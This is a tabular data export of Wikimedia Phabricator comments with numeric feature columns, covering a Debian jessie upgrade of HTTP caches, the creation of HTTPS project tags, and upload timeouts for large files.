408700,Upgrade all HTTP frontends to Debian jessie,"Currently we have reinstalled to the new jessie stack one of each type in eqiad (text -> cp1065, upload -> cp1064, bits -> cp1070, mobile -> cp1060) as well as amssq42 as text in esams for live testing.  The only known major issue outstanding from that testing is a VM/kernel bug/tuning issue that affects the varnish backends for upload due to their network/disk i/o patterns.  I'll open a separate ticket to track that.  Once that's resolved, we'll be ready to reinstall all the existing servers to the new jessie-based software stack.",,,1423498350,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-21,True,1.5,0.0,0.0,0.0,0.0,6.5,1.5,0.0,0.0,0.0,2.5,1.5,0.0,0.5,0.0,3.0,0.0,2.5,9.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,16.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.5,3.0,0.0,0.0,8.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,3.0,9.0,5.0,0.0,0.0,0.0,3.0,0.0,1.0,1.5,0.0,1.0,0.0,0.0,1.5,3.695081967213115,0.776775956284153,"Currently we have reinstalled to the new jessie stack one of each type in eqiad (text -> cp1065, upload -> cp1064, bits -> cp1070, mobile -> cp1060) as well as amssq42 as text in esams for live testing.  The only known major issue outstanding from that testing is a VM/kernel bug/tuning issue that affects the varnish backends for upload due to their network/disk i/o patterns.  I'll open a separate ticket to track that.  Once that's resolved, we'll be ready to reinstall all the existing servers to the new jessie-based software stack."
407900,Upgrade all HTTP frontends to Debian jessie,cp1008 looking SPDY: https://spdycheck.org/#cp1008.wikimedia.org,,,1423250389,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.2,1.0,cp1008 looking SPDY: URL
86063,HTTPS phabricator project(s),"As part of T1147, I requested:
> On an unrelated note, we also need a couple of new tags for HTTPS-related work: #HTTPS as a simple (yellow) tag to tag all HTTPS-related issues (whether ops-related or not) and another one for an HTTPS-by-default milestone #HTTPS-by-default. It could be argued that this can be a simple tag as well, a ""release"" tag or a ""sprint""; personally I think release fits best, but I don't care all that much.

@aklapper (rightfully) requested to bring this into a different task:
> HTTPS brought up by Faidon: Could we tackle the needs of HTTPS in a separate task? Simply because it's messy already (T29946 and Wikimedia-SSL-related exist from Bugzilla) and I'd like to see it less messy / sort that out in a dedicated task.

So here goes :) I'd like to ask to prioritize this a bit: TechOps has a quartery goal for HTTPS and we'd like to properly use Phabricator for tracking our tasks (for a change :)).",High,80.0,1420664611,1421256872.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_description,resolved,True,c3,1,True,True,True,-26,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,1.0,9.0,0.0,1.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,3.6865671641791047,0.7164179104477612,"As part of T1147, I requested:
QUOTE
SCREEN_NAME (rightfully) requested to bring this into a different task:
QUOTE

So here goes :) I'd like to ask to prioritize this a bit: TechOps has a quartery goal for HTTPS and we'd like to properly use Phabricator for tracking our tasks (for a change :))."
399596,HTTPS phabricator project(s),So I think we are done here (two projects created) and we can close this as resolved? Or anything left to sort out?,,,1421256854,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,11.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,11.0,11.0,0.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.9259259259259259,So I think we are done here (two projects created) and we can close this as resolved? Or anything left to sort out?
399466,HTTPS phabricator project(s),"Well, the ops-y parts of the ""HTTPS by default"" goal, i.e. scalability, performance & monitoring work is expected to be finished this quarter, so yes, there is an ETA. However, the actual switchover and the choices surroundng it (exceptions, relations with Zero etc.) is fundamentally a product decision and depending on the product choices made there it may result in more tasks needed besides the ones that we've already planned within ops.

That said, even if there is no ETA for this product decision, the project can be definitely realistically be defined as finished at some point: it will be the point where we redirect everyone from HTTP to HTTPS. It's as well-defined as it can get.",,,1421245147,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.5,0.5,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.5,4.0,0.5,0.0,0.0,1.0,1.5,0.5,7.0,9.5,0.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.0,0.5,0.0,5.0,0.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,11.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,5.5,5.0,6.0,2.0,1.5,9.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,4.5,9.5,4.5,0.0,1.0,0.0,4.5,0.0,1.5,1.0,0.0,0.5,0.5,0.0,1.0,4.027190923317685,0.769464006259781,"Well, the ops-y parts of the ""HTTPS by default"" goal, i.e. scalability, performance & monitoring work is expected to be finished this quarter, so yes, there is an ETA. However, the actual switchover and the choices surroundng it (exceptions, relations with Zero etc.) is fundamentally a product decision and depending on the product choices made there it may result in more tasks needed besides the ones that we've already planned within ops.

That said, even if there is no ETA for this product decision, the project can be definitely realistically be defined as finished at some point: it will be the point where we redirect everyone from HTTP to HTTPS. It's as well-defined as it can get."
399461,HTTPS phabricator project(s),"So is there any vague ETA when ""HTTPS by default"" will be finished? Because my differentiation to a standard ""component"" tag would be ""can and will this project realistically ever be defined as //finished//?"".

But yeah, let's go for the green project style here for the time being.

If people want to discuss/finegrain/differentiate https://www.mediawiki.org/wiki/Phabricator/Creating_and_renaming_projects I won't stop anybody, but in the end it should be about getting work organized and done while trying to stick to guidelines and interpreting them on the way. :)",,,1421244619,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.5,1.0,0.0,1.0,1.0,2.5,1.0,0.5,0.0,1.0,1.5,1.0,0.0,0.0,0.5,1.5,1.0,4.0,11.0,1.0,2.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,5.5,3.0,4.0,5.0,0.0,1.0,0.0,0.0,6.5,0.5,0.0,0.0,4.0,11.0,1.0,1.0,3.0,0.0,4.0,0.0,0.5,0.5,1.0,3.0,0.0,0.0,0.0,3.9726052249637154,0.8477866473149492,"So is there any vague ETA when ""HTTPS by default"" will be finished? Because my differentiation to a standard ""component"" tag would be ""can and will this project realistically ever be defined as //finished//?"".

But yeah, let's go for the green project style here for the time being.

If people want to discuss/finegrain/differentiate URL I won't stop anybody, but in the end it should be about getting work organized and done while trying to stick to guidelines and interpreting them on the way. :)"
399241,HTTPS phabricator project(s),talked to andre about this idea and he said he would sleep on it :),,,1421193256,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.9333333333333333,talked to andre about this idea and he said he would sleep on it :)
398502,HTTPS phabricator project(s),"What about #HTTPS-By-Default as a ""goal"".  This the same color as ""sprint"" but obviously goals would be different in context, but a sprint is a type of goal..?  I think spreading the color green thinner over this is warranted.  

@aklapper?",,,1421095159,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,12.0,0.0,3.0,12.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,12.0,2.0,3.0,7.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,2.0,0.0,0.0,3.4827586206896552,0.7241379310344828,"What about #HTTPS-By-Default as a ""goal"".  This the same color as ""sprint"" but obviously goals would be different in context, but a sprint is a type of goal..?  I think spreading the color green thinner over this is warranted.  
SCREEN_NAME?"
398292,HTTPS phabricator project(s),There is also a 'goal' one outside of sprint.  Preference?,,,1421074288,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.9333333333333333,There is also a 'goal' one outside of sprint.  Preference?
398236,HTTPS phabricator project(s),"#HTTPS exists now, but my original report also said:
> and another one for an HTTPS-by-default milestone #HTTPS-by-default. It could be argued that this can be a simple tag as well, a ""release"" tag or a ""sprint""; personally I think release fits best, but I don't care all that much.

Reopening.",,,1421065491,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,1.0,"#HTTPS exists now, but my original report also said:
QUOTE

Reopening."
396874,HTTPS phabricator project(s),OK!,,,1420742675,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,OK!
396879,HTTPS phabricator project(s),"Andre, thanks for going over stuff thoroughly.  I looked through and indeed a HTTPS tag seems like it will cover this and invalidates the need for T29946

So...I'm going for it.

",,,1420742996,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.8461538461538463,0.8205128205128205,"Andre, thanks for going over stuff thoroughly.  I looked through and indeed a HTTPS tag seems like it will cover this and invalidates the need for T29946

So...I'm going for it.

"
396870,HTTPS phabricator project(s),"Andre, thanks for going over stuff thoroughly.  I looked through an indeed a HTTPS tag seems like it will cover this and invalidates the need for T29946

So...I'm going for it.

",,,1420742404,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.8205128205128207,0.8461538461538461,"Andre, thanks for going over stuff thoroughly.  I looked through an indeed a HTTPS tag seems like it will cover this and invalidates the need for T29946

So...I'm going for it.

"
396860,HTTPS phabricator project(s),">>! In T86063#963357, @Aklapper wrote:
> I propose to 1) kill T29946 (it once was about secure.wikimedia.org and then its scope got incorrectly broadened) and 2) rename ""Wikimedia-SSL-related"" to ""HTTPS"". Plus for both cases, when people say SSL they mostly mean TLS nowadays.

Wholeheartedly agreed.

> 1) T29946 has 11 open dependency tasks. 7 of them already have the ""Wikimedia-SSL-related"" project associated. For the [[ https://phabricator.wikimedia.org/maniphest/query/.VOOyf8ZqFtO/#R | remaining four ]], would that ""new"" HTTPS project refer to server configurations only, or also to e.g. codebases that do not have or support protocol-relative links (but only hardcoded http links)?

I think this is the same discussion we were having about #Mail and similar labels. I think tagging everything relating to HTTPS with #HTTPS would be the intuitive to do. HTTPS being a yellow tag means that we'll have to tag those with additional projects, so that they can go to their respective team and we can filter them properly.

> 2) For those 27 open tasks in ""Wikimedia-SSL-related"", do they all look sane when it comes to priorities (feel free to decrease for the sake of reality) and actually belonging into that project?

I gave it a quick look. They look okay so far but we'll need to do another round of triaging.",,,1420741098,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.5,0.0,0.0,0.0,6.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,3.5,9.5,0.5,2.5,0.0,1.0,0.0,2.0,0.0,0.0,1.0,2.0,2.5,1.0,3.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,4.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,9.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,2.5,2.0,8.0,2.5,2.5,5.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,10.0,9.5,0.5,0.0,0.0,0.0,10.0,0.0,0.0,1.5,1.0,2.5,0.0,0.0,0.0,3.881221719457013,0.7673453996983408,"QUOTE
QUOTE

Wholeheartedly agreed.

QUOTE

I think this is the same discussion we were having about #Mail and similar labels. I think tagging everything relating to HTTPS with #HTTPS would be the intuitive to do. HTTPS being a yellow tag means that we'll have to tag those with additional projects, so that they can go to their respective team and we can filter them properly.

QUOTE

I gave it a quick look. They look okay so far but we'll need to do another round of triaging."
396810,HTTPS phabricator project(s),"I propose to 1) kill T29946 (it once was about secure.wikimedia.org and then its scope got incorrectly broadened) and 2) rename ""Wikimedia-SSL-related"" to ""HTTPS"". Plus for both cases, when people say SSL they mostly mean TLS nowadays.
1) T29946 has 11 open dependency tasks. 7 of them already have the ""Wikimedia-SSL-related"" project associated. For the [[ https://phabricator.wikimedia.org/maniphest/query/.VOOyf8ZqFtO/#R | remaining four ]], would that ""new"" HTTPS project refer to server configurations only, or also to e.g. codebases that do not have or support protocol-relative links (but only hardcoded http links)?
2) For those 27 open tasks in ""Wikimedia-SSL-related"", do they all look sane when it comes to priorities (feel free to decrease for the sake of reality) and actually belonging into that project?",,,1420737048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,0.5,0.0,0.0,0.0,0.5,4.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,7.5,9.5,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,5.0,1.0,1.5,0.5,0.0,0.0,0.0,1.5,0.5,0.0,1.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,10.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.5,0.5,9.0,1.5,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,3.5,9.5,6.0,1.0,5.5,0.0,3.5,0.0,1.5,0.0,0.5,1.0,0.0,0.0,2.0,3.7470588235294118,0.7294117647058824,"I propose to 1) kill T29946 (it once was about secure.wikimedia.org and then its scope got incorrectly broadened) and 2) rename ""Wikimedia-SSL-related"" to ""HTTPS"". Plus for both cases, when people say SSL they mostly mean TLS nowadays.
1) T29946 has 11 open dependency tasks. 7 of them already have the ""Wikimedia-SSL-related"" project associated. For the [[ URL | remaining four ]], would that ""new"" HTTPS project refer to server configurations only, or also to e.g. codebases that do not have or support protocol-relative links (but only hardcoded http links)?
2) For those 27 open tasks in ""Wikimedia-SSL-related"", do they all look sane when it comes to priorities (feel free to decrease for the sake of reality) and actually belonging into that project?"
396445,HTTPS phabricator project(s),I think my vote is to collapse the bugzilla project into one #Https label project since SSL does not assume any particular team this seems analogous to LDAP or Mail to me.,,,1420672393,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-26,True,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,3.0,3.0,9.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,9.0,15.0,12.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.117647058823529,0.9117647058823529,I think my vote is to collapse the bugzilla project into one #Https label project since SSL does not assume any particular team this seems analogous to LDAP or Mail to me.
86024,"""HTTP request timed out"" for large files","During an attempted GWToolset upload last year I encountered a problem when trying to upload some larger images 730Mb. The problem I encounter is that I get a HTTP timeout reply already at the second stage of the upload process.

@Dan-nl has also tried debugging this one for a while and concluded that there seems to be something wrong with the http-request that uses curl to discover the headers of the item which for some reason times out even though it's only requesting headers and not the file.

For testing the relevant xml is {F26865}, the mapping is at [[ http://commons.wikimedia.beta.wmflabs.org/wiki/GWToolset:Metadata_Mappings/Lokal_Profil/KB-maps.json | GWToolset:Metadata Mappings/Lokal Profil/KB-maps.json ]] and an example image for further testing can be found at https://data.kb.se/datasets/2014/06/kartor/2882568_53_Skargardskriget_hagelsta.tif",High,80.0,1420651643,1452356637.0,PHID-USER-uu7wg6g3b37dcktbje3a,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_description,duplicate,True,c3,1,False,False,False,-26,True,1.0,0.5,0.0,0.5,0.5,3.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.5,3.5,11.0,0.5,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,5.0,2.5,0.5,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.5,0.5,1.0,0.5,8.5,3.0,11.0,2.0,2.0,10.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.0,11.0,6.5,0.0,0.0,0.0,2.0,0.0,1.5,2.5,0.0,2.5,0.5,0.0,0.5,4.1043259557344065,0.8014084507042254,"During an attempted GWToolset upload last year I encountered a problem when trying to upload some larger images 730Mb. The problem I encounter is that I get a HTTP timeout reply already at the second stage of the upload process.
SCREEN_NAME-nl has also tried debugging this one for a while and concluded that there seems to be something wrong with the http-request that uses curl to discover the headers of the item which for some reason times out even though it's only requesting headers and not the file.

For testing the relevant xml is {F26865}, the mapping is at [[ URL | GWToolset:Metadata Mappings/Lokal Profil/KB-maps.json ]] and an example image for further testing can be found at URL"
588019,"""HTTP request timed out"" for large files","There are many timeouts, one will still hit them given a big enough file, but the situation is much improved, so i do think it does make sense to close",,,1452370564,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,True,,,27,True,6.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.696969696969697,0.9393939393939394,"There are many timeouts, one will still hit them given a big enough file, but the situation is much improved, so i do think it does make sense to close"
587999,"""HTTP request timed out"" for large files",Should we not close that task because T119053 is fixed. It sounds to me to be a duplicate of T119053.,,,1452356513,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,False,,,27,True,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,18.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,18.0,9.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8636363636363636,Should we not close that task because T119053 is fixed. It sounds to me to be a duplicate of T119053.
583877,"""HTTP request timed out"" for large files",">>! In T86024#1903348, @Aklapper wrote:
>> Because of that bug we have GLAM partners stuck in their upload processes. 
> 
> More information welcome.

I don't know what I can say more, maybe reading the following comment might help
https://phabricator.wikimedia.org/T119053#1901103

... anyway, pretty sure the overall HTTP request timeout for the GWT is 90s and this is definitely to short to download for example 200 MB over 10Mb/s bandwidth.",,,1450965736,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,False,,,25,True,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,3.0,16.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,8.0,2.0,3.0,0.0,3.0,8.0,8.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,3.7704918032786887,0.7704918032786885,"QUOTE
QUOTE
QUOTE
QUOTE

I don't know what I can say more, maybe reading the following comment might help
